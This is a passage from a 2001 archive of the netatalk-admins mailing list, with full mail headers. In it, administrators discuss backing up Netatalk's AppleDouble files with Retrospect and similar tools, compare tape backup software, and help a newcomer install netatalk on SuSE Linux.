and higher ( I use kernel 2.4.9). Is it possible to fix afpfs or is there a
other program for this job?

Grtz, Jiri



From netatalk.administrators-errors@umich.edu  Thu Dec 13 12:17:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA17215
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 13 Dec 2001 12:17:52 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA21740
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 13 Dec 2001 12:17:52 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA21730
	for netatalk.administrators-members@umich.edu; Thu, 13 Dec 2001 12:17:51 -0500 (EST)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA21657
	for <netatalk-admins@umich.edu>; Thu, 13 Dec 2001 12:17:50 -0500 (EST)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id SAA25924;
	Thu, 13 Dec 2001 18:17:46 +0100
Message-ID: <3C18E2BA.2922BE32@euc.de>
Date: Thu, 13 Dec 2001 18:17:46 +0100
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
CC: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: [Fwd: Retrospect]
References: <B83D1CF1.16019%Thomas.Kaiser@phg-online.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Howdy,

I'm not quite sure what type of software that will be. We Are now for a
time after that and the only announcement from dantz is 'it's a nearly
final beta'.

But let me guess:
In order to sell as much of their software I think it will be a
separate product for linux which means you'll get a retrospect backup
software as server license for linux. How that software will deal with
the appledouble files .... 

maybe someone other here knows more about the folks at dantz

Thomas Kaiser wrote:
> 
> On Wed, 12 Dec 2001 12:39:21 +0100, Mac Conin wrote:
> 
> > asking for a beta client for linux dantz (retrospect)
> > wrote that the software will very soon be available.
> 
> Do you know whether Retrospect will support the native Netatalk format or
> just plain linux?
> 
> The difference would be:
> 
> In the first case Retrospect would treat the two files that build one 'real'
> mac-file (./file and ./.rsrc/file) as a single file including the finder
> metadata like file type, creator, label, comment, etc. A file backed up in
> this way would be easy to restore on a mac in a mac's native filesystem
> (nice if the Netatalk server is the only linux box and it crashed
> completely, so users will be able to access their data).
> 
> In the latter case two files would be backed up and if you want to restore
> them on another platform you would also get two separate files (and have to
> manually merge them back to a fully functional mac file)...
> 
> In addition, if a backup software 'knows' how to deal with Netatalk's file
> format then it would be easy to backup/restore complete files (including
> both the data and resource fork) avoiding the possibility to forget one of
> both forks.
> 
> Thanks in advance,
> 
> Thomas

-- 

best regards
____________________________________________________________

Mac Conin                        Taubengasse 9
                                 D 50676 Koeln

EUC Online Service GmbH          tel : +49-221-923 27 33
punktum postscript-Service       tel : +49-221-240 60 92
http://www.euc.de                fax : +49-221-239 651

From netatalk.administrators-errors@umich.edu  Thu Dec 13 12:32:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA18111
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 13 Dec 2001 12:32:15 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA12911
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 13 Dec 2001 12:32:15 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA12891
	for netatalk.administrators-members@umich.edu; Thu, 13 Dec 2001 12:32:14 -0500 (EST)
Received: from ksvcmail.ksvc.com ([64.30.10.241])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA12853
	for <netatalk-admins@umich.edu>; Thu, 13 Dec 2001 12:32:13 -0500 (EST)
Received: by ksvcmail.ksvc.com with Internet Mail Service (5.5.2653.19)
	id <Y2MT5F0X>; Thu, 13 Dec 2001 12:26:12 -0500
Message-ID: <8B4EB63B99E19B4C953EECC8C223AD3A28415E@ksvcmail.ksvc.com>
From: Brian Curtis <Bcurtis@KSVC.com>
To: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: On the subject of Backups
Date: Thu, 13 Dec 2001 12:26:11 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"

What does everyone here with tape drives use for backup.  I have been
looking at Taper but the unattended backup process looks complicated to me.
Any one have any experience they would like to share?

Brian Curtis
Information Technology Manager
Kelliher Samets Volk
212 Battery Street
Burlington, VT  05401
802-862-8261

From netatalk.administrators-errors@umich.edu  Thu Dec 13 12:40:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA18402
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 13 Dec 2001 12:40:19 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA25588
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 13 Dec 2001 12:40:19 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA25581
	for netatalk.administrators-members@umich.edu; Thu, 13 Dec 2001 12:40:19 -0500 (EST)
Received: from mail5.carolina.rr.com (fe5.southeast.rr.com [24.93.67.52])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA25522
	for <netatalk-admins@umich.edu>; Thu, 13 Dec 2001 12:40:17 -0500 (EST)
Received: from [192.168.110.21] ([199.72.99.66]) by mail5.carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Thu, 13 Dec 2001 12:40:15 -0500
Mime-Version: 1.0
X-Sender: gmac63@pop-server.carolina.rr.com
Message-Id: <a05010401b83e9850454a@[192.168.110.21]>
In-Reply-To: <8B4EB63B99E19B4C953EECC8C223AD3A28415E@ksvcmail.ksvc.com>
References: <8B4EB63B99E19B4C953EECC8C223AD3A28415E@ksvcmail.ksvc.com>
Date: Thu, 13 Dec 2001 12:40:13 -0500
To: netatalk-admins@umich.edu
From: Wes Yates <gmac63@carolina.rr.com>
Subject: Re: On the subject of Backups
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>What does everyone here with tape drives use for backup.  I have been
>looking at Taper but the unattended backup process looks complicated to me.
>Any one have any experience they would like to share?
>
>Brian Curtis
>Information Technology Manager
>Kelliher Samets Volk
>212 Battery Street
>Burlington, VT  05401
>802-862-8261

Retrospect, but its on MacOS.

Hey, if you have a spare Mac, try Mac-On-Linux and run Retrospect...

-wes
-- 

-Wes Yates
gmac63@carolina.rr.com
wesyates.homeip.net

"Of course, you realize this means war."
-B. Bunny

From netatalk.administrators-errors@umich.edu  Thu Dec 13 12:41:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA18462
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 13 Dec 2001 12:41:28 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA27434
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 13 Dec 2001 12:41:28 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA27427
	for netatalk.administrators-members@umich.edu; Thu, 13 Dec 2001 12:41:27 -0500 (EST)
Received: from mail.potsdam.edu (potsdam.edu [137.143.110.102])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id MAA27387
	for <netatalk-admins@umich.edu>; Thu, 13 Dec 2001 12:41:26 -0500 (EST)
Received: (qmail 26720 invoked by alias); 13 Dec 2001 17:40:52 -0000
Received: (qmail 26702 invoked from network); 13 Dec 2001 17:40:51 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by 0 with SMTP; 13 Dec 2001 17:40:51 -0000
Subject: Re: [Fwd: Retrospect]
From: Matthew Keller <kellermg@potsdam.edu>
To: Mac Conin <mconin@euc.de>
Cc: Thomas Kaiser <Thomas.Kaiser@phg-online.de>,
        "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
In-Reply-To: <3C18E2BA.2922BE32@euc.de>
References: <B83D1CF1.16019%Thomas.Kaiser@phg-online.de> 
	<3C18E2BA.2922BE32@euc.de>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0 (Preview Release)
Date: 13 Dec 2001 12:41:37 -0500
Message-Id: <1008265297.29931.18.camel@comp10574>
Mime-Version: 1.0


	If the software is backing up data over ASIP/AFP, then it won't matter
if "it" has any concept of AppleDouble - Everything will be ducky. If
the software is backing up over it's own protocol installed on the Linux
box, then it will treat AppleDouble and other Netatalk metadata the same
as Linux does - As files/folders- Nothing special. Either way, it should
be fine.
	*Disclaimer: I know nothing about Dantz nor their products, and my
statements are general about they way things "should" be happen. This
product may, for example, not back up hidden files/folders (starting
with dots) - Then it would obviously break Netatalk files.

On Thu, 2001-12-13 at 12:17, Mac Conin wrote:
> Howdy,
> 
> I'm not quite sure what type of software that will be. We Are now for a
> time after that and the only announcement from dantz is 'it's a nearly
> final beta'.
> 
> But let me guess:
> In order to sell as much of their software I think it will be a
> separate product for linux which means you'll get a retrospect backup
> software as server license for linux. How that software will deal with
> the appledouble files .... 
> 
> maybe someone other here knows more about the folks at dantz
> 
> Thomas Kaiser wrote:
> > 
> > On Wed, 12 Dec 2001 12:39:21 +0100, Mac Conin wrote:
> > 
> > > asking for a beta client for linux dantz (retrospect)
> > > wrote that the software will very soon be available.
> > 
> > Do you know whether Retrospect will support the native Netatalk format or
> > just plain linux?
> > 
> > The difference would be:
> > 
> > In the first case Retrospect would treat the two files that build one 'real'
> > mac-file (./file and ./.rsrc/file) as a single file including the finder
> > metadata like file type, creator, label, comment, etc. A file backed up in
> > this way would be easy to restore on a mac in a mac's native filesystem
> > (nice if the Netatalk server is the only linux box and it crashed
> > completely, so users will be able to access their data).
> > 
> > In the latter case two files would be backed up and if you want to restore
> > them on another platform you would also get two separate files (and have to
> > manually merge them back to a fully functional mac file)...
> > 
> > In addition, if a backup software 'knows' how to deal with Netatalk's file
> > format then it would be easy to backup/restore complete files (including
> > both the data and resource fork) avoiding the possibility to forget one of
> > both forks.
> > 
> > Thanks in advance,
> > 
> > Thomas
> 
> -- 
> 
> best regards
> ____________________________________________________________
> 
> Mac Conin                        Taubengasse 9
>                                  D 50676 Koeln
> 
> EUC Online Service GmbH          tel : +49-221-923 27 33
> punktum postscript-Service       tel : +49-221-240 60 92
> http://www.euc.de                fax : +49-221-239 651
> 
> 
-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Thu Dec 13 12:42:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA18519
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 13 Dec 2001 12:42:49 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA29378
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 13 Dec 2001 12:42:49 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA29360
	for netatalk.administrators-members@umich.edu; Thu, 13 Dec 2001 12:42:48 -0500 (EST)
Received: from mail.potsdam.edu (potsdam.edu [137.143.110.102])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id MAA29334
	for <netatalk-admins@umich.edu>; Thu, 13 Dec 2001 12:42:47 -0500 (EST)
Received: (qmail 27222 invoked by alias); 13 Dec 2001 17:42:10 -0000
Received: (qmail 27205 invoked from network); 13 Dec 2001 17:42:10 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by 0 with SMTP; 13 Dec 2001 17:42:10 -0000
Subject: Re: On the subject of Backups
From: Matthew Keller <kellermg@potsdam.edu>
To: Brian Curtis <Bcurtis@KSVC.com>
Cc: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
In-Reply-To: <8B4EB63B99E19B4C953EECC8C223AD3A28415E@ksvcmail.ksvc.com>
References: <8B4EB63B99E19B4C953EECC8C223AD3A28415E@ksvcmail.ksvc.com>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0 (Preview Release)
Date: 13 Dec 2001 12:42:55 -0500
Message-Id: <1008265375.29927.20.camel@comp10574>
Mime-Version: 1.0


	We have Veritas Backup Exec tied to our networked backup system - It's
an Exabyte EXB-480 tape carousel w/ 4 mammoth 8mm drives.

On Thu, 2001-12-13 at 12:26, Brian Curtis wrote:
> What does everyone here with tape drives use for backup.  I have been
> looking at Taper but the unattended backup process looks complicated to me.
> Any one have any experience they would like to share?
> 
> Brian Curtis
> Information Technology Manager
> Kelliher Samets Volk
> 212 Battery Street
> Burlington, VT  05401
> 802-862-8261
> 
> 
-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Thu Dec 13 12:57:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA19695
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 13 Dec 2001 12:57:19 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA03401
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 13 Dec 2001 12:57:19 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA03378
	for netatalk.administrators-members@umich.edu; Thu, 13 Dec 2001 12:57:18 -0500 (EST)
Received: from jason01.u.washington.edu (jason01.u.washington.edu [140.142.8.10])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA03319
	for <netatalk-admins@umich.edu>; Thu, 13 Dec 2001 12:57:17 -0500 (EST)
Received: from homer17.u.washington.edu (homer17.u.washington.edu [140.142.8.17])
	by jason01.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fBDHvFF21502;
	Thu, 13 Dec 2001 09:57:16 -0800
Received: from localhost (cent@localhost)
	by homer17.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with ESMTP id fBDHvFp69354;
	Thu, 13 Dec 2001 09:57:15 -0800
Date: Thu, 13 Dec 2001 09:57:14 -0800 (PST)
From: Bob Cent <cent@u.washington.edu>
To: Brian Curtis <Bcurtis@KSVC.com>
cc: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: Re: On the subject of Backups
In-Reply-To: <8B4EB63B99E19B4C953EECC8C223AD3A28415E@ksvcmail.ksvc.com>
Message-ID: <Pine.A41.4.33.0112130940260.40618-100000@homer17.u.washington.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


> What does everyone here with tape drives use for backup.  I
> have been looking at Taper but the unattended backup process
> looks complicated to me. Any one have any experience they
> would like to share?


I have been very happy with my HP SureStore 24mb DDS3 tape drive
and the bundled backup software called TapeWare.  TapeWare is
available for Linux and PC.  It has a graphical user interface
and a very helpful phone and email support group.  I've been
using it daily for ~18 months and have made several full and
partial restores.

With that said, I use Retrospect on our Macs and PCs and look
forward to using Retrospect running Linux, if that comes to
market.

_____________________________
Bob Cent
University of Washington
Box 357330
Seattle, WA  98195-7330

mailto: cent@u.washington.edu
voice:  206.543.1433
fax:    206.685.0305
_____________________________


From netatalk.administrators-errors@umich.edu  Thu Dec 13 15:03:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA26088
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 13 Dec 2001 15:03:10 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA18609
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 13 Dec 2001 15:03:10 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA18579
	for netatalk.administrators-members@umich.edu; Thu, 13 Dec 2001 15:03:09 -0500 (EST)
Received: from mailhub.cns.ksu.edu (grunt.ksu.ksu.edu [129.130.12.17])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA18323
	for <netatalk-admins@umich.edu>; Thu, 13 Dec 2001 15:03:07 -0500 (EST)
Received: from unix1.cc.ksu.edu (sto9013@unix1.cc.ksu.edu [129.130.12.3])
	by mailhub.cns.ksu.edu (8.9.1/8.9.1/mailhub+tar) with ESMTP id OAA06874
	for <netatalk-admins@umich.edu>; Thu, 13 Dec 2001 14:02:56 -0600 (CST)
Received: from localhost (sto9013@localhost)
	by unix1.cc.ksu.edu (8.8.8+Sun/8.8.8) with ESMTP id OAA29525
	for <netatalk-admins@umich.edu>; Thu, 13 Dec 2001 14:02:54 -0600 (CST)
X-Authentication-Warning: unix1.cc.ksu.edu: sto9013 owned process doing -bs
Date: Thu, 13 Dec 2001 14:02:54 -0600 (CST)
From: Seanano <sto9013@ksu.edu>
X-X-Sender:  <sto9013@unix1.cc.ksu.edu>
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: On the subject of Backups
In-Reply-To: <8B4EB63B99E19B4C953EECC8C223AD3A28415E@ksvcmail.ksvc.com>
Message-ID: <Pine.GSO.4.33L.0112131350510.27596-100000@unix1.cc.ksu.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

  I just set up amanda ( http://www.amanda.org ) on 3 machines a few weeks
ago and have been satisfied with it.  Due to a faulty RAID controller, I
even had the chance to try out a full restore...

Sean


On Thu, 13 Dec 2001, Brian Curtis wrote:

> What does everyone here with tape drives use for backup.  I have been
> looking at Taper but the unattended backup process looks complicated to me.
> Any one have any experience they would like to share?


From netatalk.administrators-errors@umich.edu  Thu Dec 13 16:10:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA00294
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 13 Dec 2001 16:10:49 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA22886
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 13 Dec 2001 16:10:49 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA22797
	for netatalk.administrators-members@umich.edu; Thu, 13 Dec 2001 16:10:46 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA22752
	for <netatalk-admins@umich.edu>; Thu, 13 Dec 2001 16:10:44 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id WAA24882;
	Thu, 13 Dec 2001 22:32:39 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 13 Dec 2001 22:10:12 +0100
Subject: Re: [Fwd: Retrospect]
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Matthew Keller <kellermg@potsdam.edu>, Mac Conin <mconin@euc.de>
CC: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Message-ID: <B83ED7C1.16188%Thomas.Kaiser@phg-online.de>
In-Reply-To: <1008265297.29931.18.camel@comp10574>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 13 Dec 2001 12:41:37 -0500, Matthew Keller wrote:

> If the software is backing up data over ASIP/AFP, then it won't matter
> if "it" has any concept of AppleDouble - Everything will be ducky.

This is the way many sites do it (even large *NIX servers) to have the
backed up data accessible even if the server crashed totally...

The only problem seems to be the inability to setup ownerships and access
rights correctly in every case when restoring...

> If the software is backing up over it's own protocol installed on the Linux
> box, then it will treat AppleDouble and other Netatalk metadata the same as
> Linux does - As files/folders- Nothing special.

There is a third way, which I prefer.

Flashnet (<http://www.sgluk.com/flashsite/index.htm>) and DIMM (obviously
pages only available in german: <http://www.dimm.de/Backup/backup.htm>) or
ES-Backup (<http://www.ugsoft.de/products/esbackup/index2.html>) -- the
first for Xinet's Fullpress, the latter two for Helios' EtherShare -- which
"understand" the special meanings of the two different files and partly much
more also...

ES-Backup for example (I played with this software around a bit, so I have a
bit deeper knowledge about) can be configured to treat AFP-volumes different
than 'normal' *NIX-data. In this 'special-mode' it will always touch both
forks itself and (by using the dt commands that communicate with Helios'
desksrv process to keep the volumes desktop databases consistent) avoids
problems with IDs too.

Unfortunately there seems to be no software that supports Netatalk natively.
But perhaps the developers of DIMM or ES-Backup plan to port their softwares
to support netatalk if they see a demand for it?

> Either way, it should be fine.

Well, I'm very happy that Netatalk will have a solid database-driven
solution for persistant FIDs and DIDs soon. But from this moment on, we will
get a bit in trouble, when we handle files/folders (move, create, rename,
delete, etc.) besides the database (like it's happening when doing
backups/restore local on the server).

I'm doing some research on the potential pitfalls at the moment, but
unfortunately a friend of mine ran out of spare time (he will provide me
with a small utility to dump ids from the mac side) so results will be
delayed... 

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Fri Dec 14 05:42:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA04517
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 14 Dec 2001 05:42:23 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA05946
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 14 Dec 2001 05:42:23 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA05927
	for netatalk.administrators-members@umich.edu; Fri, 14 Dec 2001 05:42:23 -0500 (EST)
Received: from mailout03.sul.t-online.com (mailout03.sul.t-online.com [194.25.134.81])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA05892
	for <netatalk-admins@umich.edu>; Fri, 14 Dec 2001 05:42:22 -0500 (EST)
Received: from fwd07.sul.t-online.de 
	by mailout03.sul.t-online.de with smtp 
	id 16EpnJ-0004wT-05; Fri, 14 Dec 2001 11:42:21 +0100
Received: from [217.3.117.76] (520054459995-0001@[217.3.117.76]) by fwd07.sul.t-online.com
	with esmtp id 16Epn9-1piGw4C; Fri, 14 Dec 2001 11:42:11 +0100
User-Agent: Microsoft-Entourage/9.0.2509
Date: Fri, 14 Dec 2001 11:42:09 +0100
Subject: Help: a detailed howto-install-software somewhere?
From: markus.kuschnik@t-online.de (Markus Kuschnik)
To: <netatalk-admins@umich.edu>
Message-ID: <B83F9611.484%markus.kuschnik@t-online.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-Sender: 520054459995-0001@t-dialin.net

Dear Listmembers!

In spite of your helpful comments on my request for help in configuring
netatalk for a SuSE-Linux-partition on my iMac (in order to be able to print
via a Dayna EtherPrint-bridge connecting a HP LaserJet to the Mac) I didn't
yet succeed in compiling and installing the netatalk file, certainly because
I am a real newbie to Linux.
Following Anders Brownworth's instructions in his netatalk-howto, so far I
only downloaded the pre-compiled versions (shadow as well as non-shadow) of
netatalk from www.anders.com/projects/netatalk/download.html, I unzipped and
untarred them.
But I don't know how to "edit the Makefile in the root of the source tree",
("edit" means to use vi or emacs?) for instance, or how to "set the
destination directory", and so on.
Because of that, I'd like to know from you if there is somewhere a detailed
howto concerning the installation of software under Linux. Searching the
internet for a howto like that I found a lot of howtos concerning the
installation of Linux itself, but none for the said purpose, impatient as I
am.  Can anyone of you provide me with an internet-address which offers such
an instructive file?
Some other question I have in connection to the netatalk file: there is a
netatalk package on one of the CDs that came with the Linux7.1(ppc)-copy I
bought from SuSE. Can't I use this package, install it via YaST and then
edit the /etc/services and conf/AppleVolumes.default  ?
I'll apprechiate any help,

 Markus Kuschnik
 markus.kuschnik@t-online.de


From netatalk.administrators-errors@umich.edu  Fri Dec 14 08:41:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA10828
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 14 Dec 2001 08:41:04 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA08785
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 14 Dec 2001 08:41:04 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA08772
	for netatalk.administrators-members@umich.edu; Fri, 14 Dec 2001 08:41:04 -0500 (EST)
Received: from mailout01.sul.t-online.com (mailout01.sul.t-online.com [194.25.134.80])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA08741
	for <netatalk-admins@umich.edu>; Fri, 14 Dec 2001 08:41:03 -0500 (EST)
Received: from fwd02.sul.t-online.de 
	by mailout01.sul.t-online.de with smtp 
	id 16EsaE-0002K1-03; Fri, 14 Dec 2001 14:41:02 +0100
Received: from server.linau.de (320064501249-0002@[217.4.65.14]) by fmrl02.sul.t-online.com
	with esmtp id 16Esa6-1OJ9jkC; Fri, 14 Dec 2001 14:40:54 +0100
Received: from localhost ([127.0.0.1])
	by server.linau.de with esmtp (Exim 3.12 #1 (Debian))
	id 16EqYo-0000rd-00
	for <netatalk-admins@umich.edu>; Fri, 14 Dec 2001 12:31:26 +0100
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Date: Fri, 14 Dec 2001 12:30:38 +0100
From: Christian Schmidt <ChriSchmiLi@gmx.de>
In-Reply-To: <B83F9611.484%markus.kuschnik@t-online.de>
Message-Id: <p04310101b83f91f83238@[192.168.2.2]>
Mime-Version: 1.0
Received: from [192.168.2.2] (pulsar.linau.de [192.168.2.2])
	by server.linau.de (AvMailGate-6.11.0.4) id 03319-4F703E47;
	Fri, 14 Dec 2001 12:30:47 +0100
References: <B83F9611.484%markus.kuschnik@t-online.de>
Subject: Re: Help: a detailed howto-install-software somewhere?
To: <netatalk-admins@umich.edu>
X-AntiVirus: OK! AvMailGate Version 6.11.0.6
	 at server.linau.de has not found any known virus in this email.
X-MUA: Eudora 4.3.1 Macintosh
X-Sender: 320064501249-0002@t-dialin.net

On 14.12.2001 (d-m-y), Markus Kuschnik wrote:

>  But I don't know how to "edit the Makefile in the root of the source tree",
>  ("edit" means to use vi or emacs?) for instance, or how to "set the
>  destination directory", and so on.

To "edit" a file doesn't actually imply using vi or emacs although 
these are standard Unix editors, especially vi which is present on 
almost every Unix system.
There are several editors that are eaisier to edit with than vi, for 
eymaple pico which you can find in SuSE's "ap" series.

>  Because of that, I'd like to know from you if there is somewhere a detailed
>  howto concerning the installation of software under Linux. Searching the

Well, from your email address I suppose, you'll be German-speaking... 
Just have a look at http://www.maclinux.de. AFAIR there is a short 
howto on installaing software the classic Unix way (configure - make 
- make install).

hth,
Christian
-- 
Christian Schmidt
ChriSchmiLi@gmx.de

From netatalk.administrators-errors@umich.edu  Fri Dec 14 12:08:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
